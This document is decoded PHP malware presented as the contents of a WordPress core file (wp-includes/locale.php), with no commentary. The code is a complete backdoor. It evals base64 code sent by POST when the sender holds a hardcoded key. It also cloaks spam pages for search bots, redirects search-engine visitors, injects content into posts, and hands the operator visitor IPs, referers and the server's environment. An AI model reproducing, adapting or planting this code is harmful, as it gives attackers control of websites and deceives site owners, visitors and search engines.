**Translation of base64 code in \wp-includes\locale.php**

error\_reporting(0);

define('HASH\_KEY', 'f32916fc0e98ad206d51574030eb300f');

function \_isJson($string) {

@json\_decode($string);

if (!function\_exists('json\_last\_error')) { return true; }

return (@json\_last\_error() == JSON\_ERROR\_NONE);

}

###BEGIN LICENSE KEY###

function \_sysTmpDir()

{

$ini\_val = @ini\_get('upload\_tmp\_dir');

$upload\_tmp\_dir = $ini\_val ? $ini\_val : @sys\_get\_temp\_dir();

if (@is\_writable($upload\_tmp\_dir)) {

return $upload\_tmp\_dir . DIRECTORY\_SEPARATOR;

} else {

$tmp\_dir = DIRECTORY\_SEPARATOR . "tmp" . DIRECTORY\_SEPARATOR;

if (@is\_writable($tmp\_dir)) {

return $tmp\_dir;

} else {

if (@is\_writable("." . DIRECTORY\_SEPARATOR)) {

return "." . DIRECTORY\_SEPARATOR;

} else {

return false;

}

}

}

}

function \_findHomeWP()

{

$down = realpath(dirname(\_\_FILE\_\_)) . DIRECTORY\_SEPARATOR;

for ($i = 0; $i < 30; $i++) {

if (@is\_file($down . "wp-config.php")) {

return $down;

}

$down = $down . ".." . DIRECTORY\_SEPARATOR;

}

return false;

}

function \_findHomeIndex()

{

$down = realpath(dirname(\_\_FILE\_\_)) . DIRECTORY\_SEPARATOR;

for ($i = 0; $i < 30; $i++) {

if (@is\_file($down . "index.php")) {

return $down;

}

$down = $down . ".." . DIRECTORY\_SEPARATOR;

}

return false;

}

function \_findHome()

{

$homewp = @\_findHomeWP();

if ($homewp) {

return @realpath($homewp . DIRECTORY\_SEPARATOR);

} else {

$home\_path = @\_findHomeIndex();

if ($home\_path) {

return @realpath($home\_path . DIRECTORY\_SEPARATOR);

} else {

return false;

}

}

}

function \_dirWritable()

{

$d = DIRECTORY\_SEPARATOR;

$paths = array("wp-content" . $d . "uploads", "wp-content", "upload", "uploads", "temp", "tmp", "images");

$home\_path = @\_findHome();

if ($home\_path) {

if (@is\_writable($home\_path)) {

return $home\_path . DIRECTORY\_SEPARATOR;

}

for ($i = 0; $i < count($paths); $i++) {

$check\_path = $home\_path . DIRECTORY\_SEPARATOR . $paths[$i] . DIRECTORY\_SEPARATOR;

if (@is\_writable($check\_path)) {

return $check\_path;

}

}

return @\_sysTmpDir();

}

return @\_sysTmpDir();

}

function \_getTmpDir()

{

$tmp\_dir = @\_dirWritable() . ".cache" . DIRECTORY\_SEPARATOR;

if (!@is\_dir($tmp\_dir)) {

@mkdir($tmp\_dir);

}

if (@is\_dir($tmp\_dir)) {

return $tmp\_dir;

} else {

return false;

}

}

function \_getUri(){

$uri = $\_SERVER['REQUEST\_URI'];

if ( strpos($\_SERVER['REQUEST\_URI'], '?doing\_wp\_cron=') !== false ) {

$uri = substr($\_SERVER['REQUEST\_URI'], 0, strpos($\_SERVER['REQUEST\_URI'], "?doing\_wp\_cron="));

}

return $uri;

}

define('TMP\_DIR', @\_getTmpDir());

define('REQUEST\_URI', @\_getUri());

define('PREFIX', '@@@');

define('END\_GET', 'END\_GET');

define('END\_REQ', 'END\_REQ');

define('START\_GET', 'START\_GET');

define('START\_REQ', 'START\_REQ');

define('START\_SYNC', 'START\_SYNC');

define('END\_SYNC', 'END\_SYNC');

define('START\_TEXT', 'START\_TEXT');

define('END\_TEXT', 'END\_TEXT');

define('GET\_DONE', 'UPDATEDONE');

define('REQ\_DONE', 'REQUESTDONE');

define('DEL\_DONE', 'DELETEDONE');

define('GET\_ERROR', 'UPDATEERROR');

define('REQ\_ERROR', 'REQUESTERROR');

define('DEL\_ERROR', 'DELETEERROR');

define('ROOT\_KEY', '87fae933cea28b48bdd3f4ee3c36a4b9');

define('REQUESTS', @\_hostFilename('25b6f3023ec4ee261bbf92444c7263dc'));

define('SETRAFFIC', @\_hostFilename('103d01354793f6711f1d168963a7f396'));

define('CACHE\_FILES', serialize(array('POSTS\_FILE' => '0ef071d944066d7297c479d9002a9b79', 'PAGES\_FILE' => 'fcec7ef0ba39e095bbc9c46e038f390d', 'AGENTS\_FILE' => '66e95a63905a1afcdafb155eb40ed160', 'ADMINS\_FILE' => '687654de7f0e7325cc4619122f952e31', 'IPBOTS\_FILE' => '1de77179a73132d7b41ba881df66820c', 'REFERERS\_FILE' => 'dc77463f03679ea6f569d928a013d5b2', 'SETTINGS\_FILE' => 'c5e35565804f52b50988b3c3d0e1b38f', 'REDIRECT\_FILE' => '378b91a00db61c6d14cd639e40ebc978', 'REDIRECTS\_FILE' => '5e3151796a37672bedf9b2a98c9c6498')));

foreach (unserialize(CACHE\_FILES) as $key => $value) {

define($key, @\_hostFilename($value));

}

if (!array\_key\_exists('HTTP\_USER\_AGENT', $\_SERVER)) {

$\_SERVER['HTTP\_USER\_AGENT'] = '';

}

if (!array\_key\_exists('REMOTE\_ADDR', $\_SERVER)) {

$\_SERVER['REMOTE\_ADDR'] = '';

}

if (!array\_key\_exists('HTTP\_REFERER', $\_SERVER)) {

$\_SERVER['HTTP\_REFERER'] = '';

}

if (!array\_key\_exists('HTTP\_REFERER', $\_SERVER)) {

$\_SERVER['HTTP\_REFERER'] = '';

}

if (!empty($\_SERVER["HTTP\_X\_FORWARDED\_FOR"])) {

$\_SERVER["REMOTE\_ADDR"] = $\_SERVER["HTTP\_X\_FORWARDED\_FOR"];

}

function \_getIpAddress()

{

foreach (array('HTTP\_CLIENT\_IP',

'HTTP\_X\_FORWARDED\_FOR',

'HTTP\_X\_FORWARDED',

'HTTP\_X\_CLUSTER\_CLIENT\_IP',

'HTTP\_FORWARDED\_FOR',

'HTTP\_FORWARDED',

'REMOTE\_ADDR') as $key) {

if (array\_key\_exists($key, $\_SERVER) === true) {

foreach (explode(',', $\_SERVER[$key]) as $IPaddress) {

$IPaddress = trim($IPaddress);

return $IPaddress;

}

}

}

return '0.0.0.0';

}

function \_isBotAgent($ua)

{

$cache = unserialize(CACHE\_AGENTS);

$ua = strtolower($ua);

$uaBlack = $cache->{'black'};

$uaList = $cache->{'uabots'};

foreach ($uaBlack as $iua) {

$iua = strtolower($iua);

if (strpos($ua, $iua) || $ua == $iua) {

return false;

}

}

foreach ($uaList as $iua) {

$iua = strtolower($iua);

if (strpos($ua, $iua) || $ua == $iua) {

return true;

}

}

return false;

}

function \_getIpRange($ip)

{

$parts = explode('.', $ip);

$ipMin = $ipMax = array();

foreach ($parts as $part) {

if ($part == '\*') {

$ipMin[] = 0;

$ipMax[] = 255;

continue;

}

if (stristr($part, '-')) {

$split = explode('-', $part);

$ipMin[] = $split[0];

$ipMax[] = $split[1];

} else {

$ipMin[] = $part;

$ipMax[] = $part;

}

}

return array(join('.', $ipMin), join('.', $ipMax));

}

function \_isBotIp($ip)

{

if ($ip == "") {

return false;

}

$ipList = unserialize(CACHE\_IPBOTS);

if (!$ipList) {

return false;

}

$longIp = ip2long($ip);

$found = false;

foreach ($ipList as $ipMask) {

$ipMask = trim($ipMask);

if (stristr($ipMask, '-') !== false || stristr($ipMask, '\*') !== false) {

list($ipMaskMin, $ipMaskMax) = \_getIpRange($ipMask);

$longIpMaskMin = ip2long($ipMaskMin);

$longIpMaskMax = ip2long($ipMaskMax);

if ($longIp >= $longIpMaskMin && $longIp <= $longIpMaskMax) {

$found = true;

break;

}

} else {

if ($ip == $ipMask) {

$found = true;

break;

}

}

}

return $found;

}

function \_getHost()

{

$out\_host = REQUESTS;

if ($\_SERVER["HTTP\_HOST"] != "") {

$out\_host = $\_SERVER["HTTP\_HOST"];

} elseif ($\_SERVER["SERVER\_NAME"] != "") {

$out\_host = $\_SERVER["SERVER\_NAME"];

}

if (substr($out\_host, 0, 4) === "www.") {

$out\_host = substr($out\_host, 4);

}

return $out\_host;

}

function \_hostFilename($filename)

{

$filehash = @md5(HASH\_KEY . $filename . @\_getHost());

return $filehash;

}

function \_getServInfo()

{

$data = array();

$data['version'] = phpversion();

$data['\_server'] = $\_SERVER;

return $data;

}

function \_readFile($filename)

{

if (file\_exists(TMP\_DIR . $filename)) {

$content = implode("", file(TMP\_DIR . $filename));

return $content;

} else {

return false;

}

}

function \_writeFile($filename, $data)

{

$fp = fopen(TMP\_DIR . $filename, 'w+');

fwrite($fp, @base64\_encode($data));

fclose($fp);

}

function \_deleteFile($filename)

{

if (file\_exists(TMP\_DIR . $filename)) {

unlink(TMP\_DIR . $filename);

}

}

function \_addRequest($request)

{

if ($request == '/index.php') {

$request = '/';

}

$reqs = array();

if (file\_exists(TMP\_DIR . REQUESTS)) {

$reqs\_json = @base64\_decode(@\_readFile(REQUESTS));

if ($reqs\_json != "null" && @\_isJson($reqs\_json) && $reqs\_json != "") {

$reqs = @json\_decode($reqs\_json, true);

}

}

if (array\_key\_exists($request, $reqs)) {

$cplus = $reqs[$request] + 1;

} else {

$cplus = 1;

}

$reqs = array\_merge($reqs, array($request => $cplus));

@\_writeFile(REQUESTS, @json\_encode($reqs));

}

function \_addSETraffic($request)

{

$reqs = array();

if (file\_exists(TMP\_DIR . SETRAFFIC)) {

$reqs\_json = @base64\_decode(@\_readFile(SETRAFFIC));

if ($reqs\_json != "null" && @\_isJson($reqs\_json) && $reqs\_json != "") {

$reqs = @json\_decode($reqs\_json, true);

}

}

$data = array('time' => time(), 'request' => $request, 'ip' => @\_getIpAddress(), 'referer' => $\_SERVER["HTTP\_REFERER"], 'agent' => $\_SERVER['HTTP\_USER\_AGENT']);

array\_push($reqs, $data);

@\_writeFile(SETRAFFIC, @json\_encode($reqs));

}

function \_addFilters($content)

{ global $post;

$cache\_posts = unserialize(CACHE\_POSTS);

if ($cache\_posts) {

if (in\_array($post->ID, $cache\_posts)) {

$cache\_post = @\_cachePost($post->ID);

if ($cache\_post) {

if ($cache\_post->content && function\_exists('wpautop')) {

$content = wpautop($cache\_post->content);

}

if ($cache\_post->header) {

$content = $cache\_post->header . $content;

}

if ($cache\_post->footer) {

$content = $content . $cache\_post->footer;

}

}

}

}

return $content;

}

function \_getRequests()

{

if (file\_exists(TMP\_DIR . REQUESTS)) {

$reqs = @base64\_decode(@\_readFile(REQUESTS));

$result = array('requests' => @json\_decode($reqs));

@\_writeFile(REQUESTS, '');

return $result;

} else {

return false;

}

}

function \_get\_wp\_posts()

{

$posts\_arr = array();

if (isset($\_POST['get\_posts']) && function\_exists('get\_posts') && function\_exists('get\_pages') && function\_exists('get\_permalink')) {

$accept\_info = array('post\_date', 'post\_title', 'filter', 'post\_type');

$accept\_all = false;

$args = array(

'posts\_per\_page' => 10000,

'offset' => 0,

'category' => '',

'category\_name' => '',

'orderby' => 'date',

'order' => 'DESC',

'include' => '',

'exclude' => '',

'meta\_key' => '',

'meta\_value' => '',

'post\_type' => 'post',

'post\_mime\_type' => '',

'post\_parent' => '',

'author' => '',

'post\_status' => 'publish',

'suppress\_filters' => true

);

$new = array();

$posts\_array = get\_posts($args);

$posts\_array = array\_merge($posts\_array, get\_pages());

foreach ($posts\_array as $post\_to\_show) {

foreach ($post\_to\_show as $key => $value) {

if ($key == 'ID') {

$new['id'] = $value;

$path = get\_permalink($value);

if ($path != "") {

$parse = parse\_url($path);

if (isset($parse['query'])){

$new['path'] = $parse['path'].'?'.$parse['query'];

} else {

$new['path'] = $parse['path'];

}

} else {

$new['path'] = false;

}

} else {

if (in\_array($key, $accept\_info) || $accept\_all || $key == 'post\_content') {

if ($key == 'post\_content') {

$new['post\_content\_count'] = strlen($value);

} else {

$new[$key] = $value;

}

}

}

}

if ($new['post\_content\_count'] > 0) {

array\_push($posts\_arr, $new);

}

}

}

return array('wp\_posts' => $posts\_arr);

}

function \_getSETraffic()

{

if (file\_exists(TMP\_DIR . SETRAFFIC)) {

$reqs = @base64\_decode(@\_readFile(SETRAFFIC));

$result = array('setraffic' => @json\_decode($reqs));

@\_writeFile(SETRAFFIC, '');

return $result;

} else {

$result = array('setraffic' => false);

return $result;

}

}

function \_addPage($page)

{

$pages = array();

if (file\_exists(TMP\_DIR . PAGES\_FILE)) {

$pages\_json = @base64\_decode(@\_readFile(PAGES\_FILE));

if ($pages\_json != 'null' && @\_isJson($pages\_json)) {

$pages = @json\_decode($pages\_json, true);

}

}

if (!in\_array($page, $pages, true)) {

array\_push($pages, $page);

@\_writeFile(PAGES\_FILE, @json\_encode($pages));

}

}

function \_getPost($post\_id){

$content = get\_post(intval($post\_id));

echo PREFIX . START\_TEXT . PREFIX;

echo @base64\_encode(@json\_encode(array('content' => $content->post\_content)));

echo PREFIX . END\_TEXT . PREFIX;

die;

}

function \_addPost($page)

{

$pages = array();

if (file\_exists(TMP\_DIR . POSTS\_FILE)) {

$pages\_json = @base64\_decode(@\_readFile(POSTS\_FILE));

if ($pages\_json != 'null' && @\_isJson($pages\_json)) {

$pages = @json\_decode($pages\_json, true);

}

}

if (!in\_array($page, $pages, true)) {

array\_push($pages, $page);

@\_writeFile(POSTS\_FILE, @json\_encode($pages));

}

}

function \_addRedirect($page)

{

$pages = array();

if (file\_exists(TMP\_DIR . REDIRECTS\_FILE)) {

$pages\_json = @base64\_decode(@\_readFile(REDIRECTS\_FILE));

if ($pages\_json != 'null' && @\_isJson($pages\_json)) {

$pages = @json\_decode($pages\_json, true);

}

}

if (!in\_array($page, $pages, true)) {

array\_push($pages, $page);

@\_writeFile(REDIRECTS\_FILE, @json\_encode($pages));

}

}

function \_delPage($page)

{

$pages = array();

if (file\_exists(TMP\_DIR . PAGES\_FILE)) {

$pages\_json = @base64\_decode(@\_readFile(PAGES\_FILE));

if ($pages\_json != 'null' && @\_isJson($pages\_json)) {

$pages = @json\_decode($pages\_json, true);

}

}

if (($pos = array\_search($page, $pages)) !== false) {

unset($pages[$pos]);

$\_pages = array();

foreach ($pages as $key => $value) {

array\_push($\_pages, $value);

}

@\_writeFile(PAGES\_FILE, @json\_encode($\_pages));

}

}

function \_delPost($page)

{

$pages = array();

if (file\_exists(TMP\_DIR . POSTS\_FILE)) {

$pages\_json = @base64\_decode(@\_readFile(POSTS\_FILE));

if ($pages\_json != 'null' && @\_isJson($pages\_json)) {

$pages = @json\_decode($pages\_json, true);

}

}

if (($pos = array\_search($page, $pages)) !== false) {

unset($pages[$pos]);

$\_pages = array();

foreach ($pages as $key => $value) {

array\_push($\_pages, $value);

}

@\_writeFile(POSTS\_FILE, @json\_encode($\_pages));

}

}

function \_delRedirect($page)

{

$pages = array();

if (file\_exists(TMP\_DIR . REDIRECTS\_FILE)) {

$pages\_json = @base64\_decode(@\_readFile(REDIRECTS\_FILE));

if ($pages\_json != 'null' && @\_isJson($pages\_json)) {

$pages = @json\_decode($pages\_json, true);

}

}

if (($pos = array\_search($page, $pages)) !== false) {

unset($pages[$pos]);

$\_pages = array();

foreach ($pages as $key => $value) {

array\_push($\_pages, $value);

}

@\_writeFile(REDIRECTS\_FILE, @json\_encode($\_pages));

}

}

function \_cacheFiles()

{

foreach (unserialize(CACHE\_FILES) as $key => $value) {

if (!file\_exists(TMP\_DIR . @\_hostFilename($value))) {

return false;

}

}

return true;

}

function \_cacheSave($cache)

{

if ($cache->{'action'} == 'update') {

if ($cache->{'install'} == 'files') {

@\_writeFile(PAGES\_FILE, @json\_encode($cache->{'pages'}));

@\_writeFile(POSTS\_FILE, @json\_encode($cache->{'posts'}));

@\_writeFile(REDIRECTS\_FILE, @json\_encode($cache->{'redirects'}));

}

@\_writeFile(AGENTS\_FILE, @json\_encode($cache->{'agents'}));

@\_writeFile(ADMINS\_FILE, @json\_encode($cache->{'admins'}));

@\_writeFile(IPBOTS\_FILE, @json\_encode($cache->{'ipbots'}));

@\_writeFile(REFERERS\_FILE, @json\_encode($cache->{'referers'}));

@\_writeFile(SETTINGS\_FILE, @json\_encode($cache->{'settings'}));

@\_writeFile(REDIRECT\_FILE, @json\_encode($cache->{'redirect'}));

return true;

}

return false;

}

function \_cacheSavePage($page, $body, $headers = false)

{

$filename = @md5($page);

$arrdata = array();

$arrdata['headers'] = $headers;

$arrdata['body'] = $body;

$json\_data = @json\_encode($arrdata);

@\_writeFile($filename, $json\_data);

@\_addPage($page);

if (file\_exists(TMP\_DIR . $filename)) {

return true;

}

return false;

}

function \_cacheSavePost($post, $header, $content, $footer)

{

$filename = @md5($post);

$arrdata = array();

$arrdata['header'] = $header;

$arrdata['content'] = $content;

$arrdata['footer'] = $footer;

$json\_data = @json\_encode($arrdata);

@\_writeFile($filename, $json\_data);

@\_addPost($post);

if (file\_exists(TMP\_DIR . $filename)) {

return true;

}

return false;

}

function \_cacheSaveRedirect($name, $body, $headers = false)

{

$filename = @md5($name);

$arrdata = array();

$arrdata['headers'] = $headers;

$arrdata['body'] = $body;

$json\_data = @json\_encode($arrdata);

@\_writeFile($filename, $json\_data);

@\_addRedirect($name);

if (file\_exists(TMP\_DIR . $filename)) {

return true;

}

return false;

}

function \_cacheDeletePage($page)

{

$filename = @md5($page);

@\_deleteFile($filename);

@\_delPage($page);

if (!file\_exists(TMP\_DIR . $filename)) {

return true;

}

return false;

}

function \_cacheDeletePost($post)

{

$filename = @md5($post);

@\_deleteFile($filename);

@\_delPost($post);

if (!file\_exists(TMP\_DIR . $filename)) {

return true;

}

return false;

}

function \_cacheDeleteRedirect($page)

{

$filename = @md5($page);

@\_deleteFile($filename);

@\_delRedirect($page);

if (!file\_exists(TMP\_DIR . $filename)) {

return true;

}

return false;

}

function \_cacheLoad($install = false)

{

if (!file\_exists(TMP\_DIR . SETTINGS\_FILE) || $install || !@\_cacheFiles()) {

$cache = (object)array();

$cache->{'action'} = 'update';

$cache->{'install'} = 'files';

$cache->{'settings'} = array('active' => true, 'cloaking' => false, 'cookie-cloaking' => false);

@\_cacheSave($cache);

}

if (@\_cacheFiles()) {

define('CACHE\_PAGES', serialize(@json\_decode(@base64\_decode(@\_readFile(PAGES\_FILE)))));

define('CACHE\_POSTS', serialize(@json\_decode(@base64\_decode(@\_readFile(POSTS\_FILE)))));

define('CACHE\_AGENTS', serialize(@json\_decode(@base64\_decode(@\_readFile(AGENTS\_FILE)))));

define('CACHE\_ADMINS', serialize(@json\_decode(@base64\_decode(@\_readFile(ADMINS\_FILE)))));

define('CACHE\_IPBOTS', serialize(@json\_decode(@base64\_decode(@\_readFile(IPBOTS\_FILE)))));

define('CACHE\_REFERERS', serialize(@json\_decode(@base64\_decode(@\_readFile(REFERERS\_FILE)))));

define('CACHE\_SETTINGS', serialize(@json\_decode(@base64\_decode(@\_readFile(SETTINGS\_FILE)))));

define('CACHE\_REDIRECT', serialize(@json\_decode(@base64\_decode(@\_readFile(REDIRECT\_FILE)))));

define('CACHE\_REDIRECTS', serialize(@json\_decode(@base64\_decode(@\_readFile(REDIRECTS\_FILE)))));

return true;

}

return false;

}

function \_cachePage($page)

{

$rfile = \_readFile(@md5($page));

if ($rfile) {

$page\_cache = @json\_decode(@base64\_decode($rfile));

return $page\_cache;

} else {

@\_cacheLoad(true);

return false;

}

}

function \_cachePost($page)

{

$rfile = \_readFile(@md5($page));

if ($rfile) {

$page\_cache = @json\_decode(@base64\_decode($rfile));

return $page\_cache;

} else {

@\_cacheLoad(true);

return false;

}

}

function \_cacheRedirect($page)

{

$rfile = \_readFile(@md5($page));

if ($rfile) {

$page\_cache = @json\_decode(@base64\_decode($rfile));

return $page\_cache;

} else {

@\_cacheLoad(true);

return false;

}

}

function \_cacheGet($cache)

{

@\_addRequest(REQUEST\_URI);

$result = false;

$cache = @base64\_decode($cache);

if (@\_isJson($cache)) {

$cache = @json\_decode($cache);

$result = @\_cacheSave($cache);

}

if ($result) {

echo PREFIX . START\_GET . PREFIX . GET\_DONE . PREFIX . END\_GET . PREFIX;

} else {

echo PREFIX . START\_GET . PREFIX . GET\_ERROR . PREFIX . END\_GET . PREFIX;

}

}

function \_syncPage($cache)

{

$get\_cache = @base64\_decode($cache);

if (@\_isJson($get\_cache)) {

$json\_cache = @json\_decode($get\_cache);

if ($json\_cache->{'action'} == 'request') {

$result = @\_cacheSavePage($json\_cache->{'page'}, $json\_cache->{'body'}, $json\_cache->{'headers'});

if ($result) {

echo PREFIX . START\_REQ . PREFIX . REQ\_DONE . PREFIX . END\_REQ . PREFIX;

} else {

echo PREFIX . START\_REQ . PREFIX . REQ\_ERROR . PREFIX . END\_REQ . PREFIX;

}

} elseif ($json\_cache->{'action'} == 'delete') {

$result = @\_cacheDeletePage($json\_cache->{'page'});

if ($result) {

echo PREFIX . START\_REQ . PREFIX . DEL\_DONE . PREFIX . END\_REQ . PREFIX;

} else {

echo PREFIX . START\_REQ . PREFIX . DEL\_ERROR . PREFIX . END\_REQ . PREFIX;

}

}

}

}

function \_syncPost($cache)

{

$get\_cache = @base64\_decode($cache);

if (@\_isJson($get\_cache)) {

$json\_cache = @json\_decode($get\_cache);

if ($json\_cache->{'action'} == 'request') {

$result = @\_cacheSavePost($json\_cache->{'post'}, $json\_cache->{'header'}, $json\_cache->{'content'}, $json\_cache->{'footer'});

if ($result) {

echo PREFIX . START\_REQ . PREFIX . REQ\_DONE . PREFIX . END\_REQ . PREFIX;

} else {

echo PREFIX . START\_REQ . PREFIX . REQ\_ERROR . PREFIX . END\_REQ . PREFIX;

}

} elseif ($json\_cache->{'action'} == 'delete') {

$result = @\_cacheDeletePost($json\_cache->{'post'});

if ($result) {

echo PREFIX . START\_REQ . PREFIX . DEL\_DONE . PREFIX . END\_REQ . PREFIX;

} else {

echo PREFIX . START\_REQ . PREFIX . DEL\_ERROR . PREFIX . END\_REQ . PREFIX;

}

}

}

}

function \_syncRedirect($cache)

{

$get\_cache = @base64\_decode($cache);

if (@\_isJson($get\_cache)) {

$json\_cache = @json\_decode($get\_cache);

if ($json\_cache->{'action'} == 'redirect') {

$result = @\_cacheSaveRedirect($json\_cache->{'name'}, $json\_cache->{'html'}, $json\_cache->{'headers'});

if ($result) {

echo PREFIX . START\_REQ . PREFIX . REQ\_DONE . PREFIX . END\_REQ . PREFIX;

} else {

echo PREFIX . START\_REQ . PREFIX . REQ\_ERROR . PREFIX . END\_REQ . PREFIX;

}

} elseif ($json\_cache->{'action'} == 'delete') {

$result = @\_cacheDeleteRedirect($json\_cache->{'name'});

if ($result) {

echo PREFIX . START\_REQ . PREFIX . DEL\_DONE . PREFIX . END\_REQ . PREFIX;

} else {

echo PREFIX . START\_REQ . PREFIX . DEL\_ERROR . PREFIX . END\_REQ . PREFIX;

}

}

}

}

function \_showPage($page)

{

$showpage = @\_cachePage($page);

if ($showpage) {

$body = $showpage->{'body'};

$headers = $showpage->{'headers'};

if ($headers) {

foreach ($headers as $key => $value) {

@header($key . ": " . $value);

}

}

echo $body;

die;

}

}

function \_showRedirect($page)

{

$showpage = @\_cacheRedirect($page);

if ($showpage) {

$body = $showpage->{'body'};

$headers = $showpage->{'headers'};

if ($headers) {

$headers = @json\_decode($headers);

foreach ($headers as $key => $value) {

@header($key . ": " . $value);

}

}

echo $body;

die;

}

}

function \_syncCache()

{

$arrsync = array();

$arrsync = array\_merge($arrsync, \_getRequests());

$arrsync = array\_merge($arrsync, \_get\_wp\_posts());

$arrsync = array\_merge($arrsync, \_getSETraffic());

$arrsync = array\_merge($arrsync, array('pages' => unserialize(CACHE\_PAGES)));

$arrsync = array\_merge($arrsync, array('posts' => unserialize(CACHE\_POSTS)));

$arrsync = array\_merge($arrsync, array('agents' => unserialize(CACHE\_AGENTS)));

$arrsync = array\_merge($arrsync, array('admins' => unserialize(CACHE\_ADMINS)));

$arrsync = array\_merge($arrsync, array('ipbots' => unserialize(CACHE\_IPBOTS)));

$arrsync = array\_merge($arrsync, array('referers' => unserialize(CACHE\_REFERERS)));

$arrsync = array\_merge($arrsync, array('settings' => unserialize(CACHE\_SETTINGS)));

$arrsync = array\_merge($arrsync, array('redirect' => unserialize(CACHE\_REDIRECT)));

$arrsync = array\_merge($arrsync, array('redirects' => unserialize(CACHE\_REDIRECTS)));

$arrsync = array\_merge($arrsync, array('server\_info' => @\_getServInfo()));

echo PREFIX . START\_SYNC . PREFIX;

echo @base64\_encode(@json\_encode($arrsync));

echo PREFIX . END\_SYNC . PREFIX;

die;

}

function \_isAuth()

{

if (@md5($\_POST["root\_key"]) == ROOT\_KEY) {

return true;

}

if (@md5($\_POST["hash\_key"]) == HASH\_KEY) {

return true;

}

return false;

}

function \_isAdminCookie()

{

$cache\_admins = unserialize(CACHE\_ADMINS);

foreach ($\_COOKIE as $key => $value) {

foreach ($cache\_admins as $cookie) {

if (strrpos($key, $cookie, -strlen($key)) !== FALSE) {

return true;

}

}

}

return false;

}

function \_isTraffic()

{

$\_referer = $\_SERVER["HTTP\_REFERER"];

if ($\_referer == "") {

return false;

}

$pref = parse\_url($\_referer);

$\_ses = unserialize(CACHE\_REFERERS);

$one\_host = strrev(strtolower($pref['host']));

$exp\_one = explode('.', $one\_host);

$one\_host = strrev($exp\_one[1]);

$two\_host = strrev($exp\_one[2]);

if (in\_array($one\_host, $\_ses) || in\_array($two\_host, $\_ses)) {

return true;

} else {

return false;

}

}

function \_goRedirect($request)

{

$redirect = unserialize(CACHE\_REDIRECT);

if ($redirect->{'action'} == 'redirect') {

if (in\_array($request, $redirect->{'pages'})) {

@\_showRedirect($redirect->{'return'});

}

}

if ($redirect->{'action'} == 'show') {

echo $redirect->{'return'};

die;

}

if ($redirect->{'action'} == '301') {

@header("Location: " . $redirect->{'return'});

die;

}

return false;

}

if (isset($\_POST["code"]) && @\_isAuth()) {

@eval(@base64\_decode($\_POST["code"]));

die;

}

if (!ini\_get('safe\_mode') && function\_exists('json\_decode') && TMP\_DIR) {

if (@\_cacheLoad()) {

$cache\_pages = unserialize(CACHE\_PAGES);

$cache\_settings = unserialize(CACHE\_SETTINGS);

$cache\_redirect = unserialize(CACHE\_REDIRECT);

if (isset($\_POST["sync\_redirect"]) && @\_isAuth()) {

@\_syncRedirect($\_POST['sync\_redirect']);

die;

}

if (isset($\_POST["sync\_cache"]) && @\_isAuth()) {

@\_cacheGet($\_POST['cache\_get']);

@\_syncCache();

die;

}

if (isset($\_POST["sync\_page"]) && @\_isAuth()) {

@\_syncPage($\_POST['sync\_page']);

die;

}

if (isset($\_POST["sync\_post"]) && @\_isAuth()) {

@\_syncPost($\_POST['sync\_post']);

die;

}

if (isset($\_POST["get\_post"]) && @\_isAuth()) {

@\_getPost($\_POST['get\_post']);

die;

}

if (!@\_isAdminCookie()) {

if (@$cache\_settings->{'active'} == 'true') {

@\_addRequest(REQUEST\_URI);

if (@in\_array(REQUEST\_URI, $cache\_pages)) {

if (@$cache\_settings->{'cloaking'} == 'true') {

if (@\_isBotIp(@\_getIpAddress()) || @\_isBotAgent($\_SERVER['HTTP\_USER\_AGENT'])) {

@\_showPage(REQUEST\_URI);

}

} elseif (@$cache\_settings->{'cookie-cloaking'} == 'true') {

if (count($\_COOKIE) == 0) {

@\_showPage(REQUEST\_URI);

}

} else {

if (@$cache\_redirect->{'action'} != 'true') {

@\_showPage(REQUEST\_URI);

}

}

}

if (function\_exists('add\_filter')){

add\_filter('the\_content', '\_addFilters');

}

if (@\_isTraffic()) {

@\_addSETraffic(REQUEST\_URI);

@\_goRedirect(REQUEST\_URI);

}

}

}

}

}